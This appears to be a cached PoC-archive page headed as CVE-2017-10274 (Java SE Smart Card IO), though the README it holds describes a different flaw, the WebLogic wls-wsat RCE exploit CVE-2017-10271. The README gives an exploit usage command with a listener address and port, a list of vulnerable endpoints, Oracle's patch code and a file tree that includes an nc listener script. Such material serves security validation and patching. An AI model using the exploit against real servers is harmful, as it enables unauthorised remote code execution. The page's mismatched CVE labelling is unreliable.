Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-10274 PoC — Oracle Java SE组件安全漏洞

Source
Associated Vulnerability
Title:Oracle Java SE组件安全漏洞 (CVE-2017-10274)
Description:Oracle Java SE是美国甲骨文(Oracle)公司的一款用于开发和部署桌面、服务器以及嵌入设备和实时环境中的Java应用程序。 Oracle Java SE中的Java SE组件的Smart Card IO子组件存在安全漏洞。攻击者可利用该漏洞未授权访问、创建,删除或更改数据,影响数据的保密性和完整性。以下版本受到影响:Oracle Java SE 6u161版本,7u151版本,8u144版本,9版本。
Description
Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)
Readme
# CVE-2017-10271

Weblogic wls-wsat Component Deserialization Vulnerability ([CVE-2017-10271](https://nvd.nist.gov/vuln/detail/CVE-2017-10271)) Detection and Exploitation Script

### Usage

```bash
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
```

### Features

* Standalone Python script
  * Check functionality to see if any host is vulnerable
  * Exploit functionality for Linux targets
* Metasploit module
  * Check functionality to see if any host is vulnerable
  * Exploit functionality for all targets
* Scanner (./scanners)
  * Checks to see if hosts is vulnerable. Fully self-contained

## Legal Notices

You are responsible for the use of this script. Kevin Kirsche takes no responsibility for any actions taken using the code here. The code was created for teams looking to validate the security of their servers, not for malicious use.

## Thanks

Big thanks to Luffin for creating the original POC that this was based on https://github.com/Luffin/CVE-2017-10271

## Vulnerable URL's other than the one shown:

```
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
```

## Related Vulnerability

[CVE 2017-3506](https://nvd.nist.gov/vuln/detail/CVE-2017-3506)

## Oracle's Patch

Source:

https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

```java
private void validate(InputStream is) {
 WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 
 try {
  SAXParser parser = factory.newSAXParser();
  
  parser.parse(is, new DefaultHandler()) {
   private int overallarraylength = 0;
   
   public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
    if (qName.equalsIgnoreCase("object")) {
     throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("new")) {
     throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
     throw new IllegalStateException("Invalid element qName:method");
    } else {
     if (qName.equalsIgnoreCase("void")) {
      for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
       if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
        throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
       }
      }
     }
     
     ... more code here ...
    }
   }
  }
 }
}
```
File Snapshot

[4.0K] /data/pocs/96c92e7b58e6bb655832536bd7b203af617c21f7 ├── [9.6K] CVE-2017-10271.py ├── [4.0K] docker │   └── [ 89] Dockerfile ├── [ 11K] LICENSE ├── [4.0K] listeners │   ├── [ 67] nc-exploit-listener.sh │   ├── [ 85] py2-check-listener.sh │   └── [ 81] py3-check-listener.sh ├── [ 171] msf-linux-runner.rc ├── [6.2K] oracle_weblog_wsat_rce.rb ├── [4.0K] original-poc │   └── [3.7K] original-poc.py ├── [2.7K] README.md ├── [ 77] requirements.txt ├── [4.0K] scanners │   ├── [4.0K] bin │   │   ├── [ 10M] CVE-2017-10271.release.1.1.0.amd64.darwin │   │   ├── [8.0M] CVE-2017-10271.release.1.1.0.amd64.dragonfly │   │   ├── [8.0M] CVE-2017-10271.release.1.1.0.amd64.freebsd │   │   ├── [8.0M] CVE-2017-10271.release.1.1.0.amd64.linux │   │   ├── [8.0M] CVE-2017-10271.release.1.1.0.amd64.netbsd │   │   ├── [8.0M] CVE-2017-10271.release.1.1.0.amd64.openbsd │   │   ├── [8.0M] CVE-2017-10271.release.1.1.0.amd64.solaris │   │   └── [8.0M] CVE-2017-10271.release.1.1.0.amd64.windows.exe │   ├── [4.0K] cmd │   │   └── [5.1K] root.go │   ├── [4.0K] libcve201710271 │   │   ├── [ 661] banner.go │   │   ├── [ 239] config.go │   │   ├── [ 819] payload.go │   │   ├── [1.1K] request.go │   │   ├── [ 174] target.go │   │   └── [ 393] workers.go │   ├── [ 11K] LICENSE │   ├── [ 724] main.go │   ├── [1.4K] Makefile │   ├── [1.1K] README.md │   └── [ 446] scanner.sh └── [ 581] vulnerable_machine_setup.md 7 directories, 32 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.